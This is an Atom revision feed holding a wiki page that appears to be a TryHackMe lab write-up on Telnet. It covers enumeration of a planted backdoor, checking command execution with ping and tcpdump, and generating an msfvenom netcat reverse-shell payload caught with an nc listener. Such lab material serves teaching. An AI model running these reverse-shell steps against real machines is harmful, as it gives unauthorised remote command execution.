<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Learning_Path%2FNetwork_Services_-_Telnet</id>
	<title>Learning Path/Network Services - Telnet - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Learning_Path%2FNetwork_Services_-_Telnet"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Learning_Path/Network_Services_-_Telnet&amp;action=history"/>
	<updated>2026-04-21T14:45:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Learning_Path/Network_Services_-_Telnet&amp;diff=1132&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 21:09, 4 April 2021</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Learning_Path/Network_Services_-_Telnet&amp;diff=1132&amp;oldid=prev"/>
		<updated>2021-04-04T21:09:19Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[File:2021-05-telnet-star-wars-5c5c9f2946e0fb00017dd076.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Understanding telnet ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;What is telnet? &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Telnet is an application protocol which allows you, with the use of telnet client, to connect to and execute commands on a remote machine that&amp;#039;s hosting a telnet server.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The telnet client will establish a connection with the server. The client will then become a virtual terminal – allow you to interact with the remote host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Replacement &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Telnet sends all messages in clear text and has no specific security mechanisms. Thus, in many applications and services, Telnet has been replaced by SSH in most implementations.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;How does Telnet work?  &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The user connects to the server by using the Telnet protocol, which means entering “telnet” into a command prompt. The user then executes commands on the server by using specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the follow syntax:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Telnet IP PORT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The lack of what, means that all Telnet communication is in plaintext? Encryption &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumerating Telnet  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Use Nmap to scan for open ports and services on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
How many ports open on the machine? One &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What port is that? 8012 Telnet is assigned to a non-standard port.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Based on the title returned to us, what do we think this port could be used for? A backdoor (SKIDY’s BACKDOOR) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-24.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Who could it belong to? Skidy &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Exploiting telnet  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Telnet, being a protocol, is in and of itself insecure for its lack of encryption. It sends all communication over plaintext and has poor access control. There are CVE’s for Telnet client and server systems. A CVE, short for common vulnerability and exposures, is a list of public disclosed computer security flaws.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You are far more likely to find a misconfiguration in how telnet has been configured or is operating that will allow us to exploit it.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Method breakdown &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From our enumeration we know: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* There is a poorly hidden telnet service running on the machine. * The service itself is marked “backdoor.” &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* We have possible username of “SKDY” implicated. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Connecting to telnet &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Connect to telnet using the command &amp;#039;&amp;#039;telnet IP PORT&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;What&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039; is a &amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;reverse&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039; &amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;shell&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;?&amp;#039;&amp;#039;&amp;#039; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-25.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A “shell” can simply be described as a piece of code or program which can be used to gain code or command execution on a device.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A reverse shell is a type of shell in which the target machine communcates back to the attacking machine.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacking machine has a listening port, on which it receives the connection, resulting in code or command execution being achieved.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Connect to this telnet port. What welcome message do we receive? SKIDY’s backdoor &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-26.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When executing commands, do we get a return on any input into the telnet session? No &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let&amp;#039;s check to see if what we’re typing is being executed as a system command. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a tcpdump listener on your local machine.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sudo tcpdump ip proto \\icmp -i eth0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-27.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Use command ping local THM ip –c 1. Do we receive any pings? YES&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-52.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This means we’re able to execute system commands AND that we are able to reach our local machine.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We’re going to generate a reverse shell payload using msfvenom. This will generate and encode netcat reverse shell for us. Syntax: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
msfvenom -p cmd/unix/reverse_netcat lhost=local_IP lport=4444 R&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-p = payload &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
lhost = our local host ip  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
lport = the port to listen on (this is the port on your machine) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
R= export the payload in raw format&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-53.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Payload is generated. Now start a netcat listener on our local machine. We use this command:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that&amp;#039;s running, copy and paste our msfvenom payload into the telnet session and run it as a command.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-28.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-29.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Catch the flag!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-04-image-30.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Learning Path]]&lt;br /&gt;
[[Category:TryHackMe]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>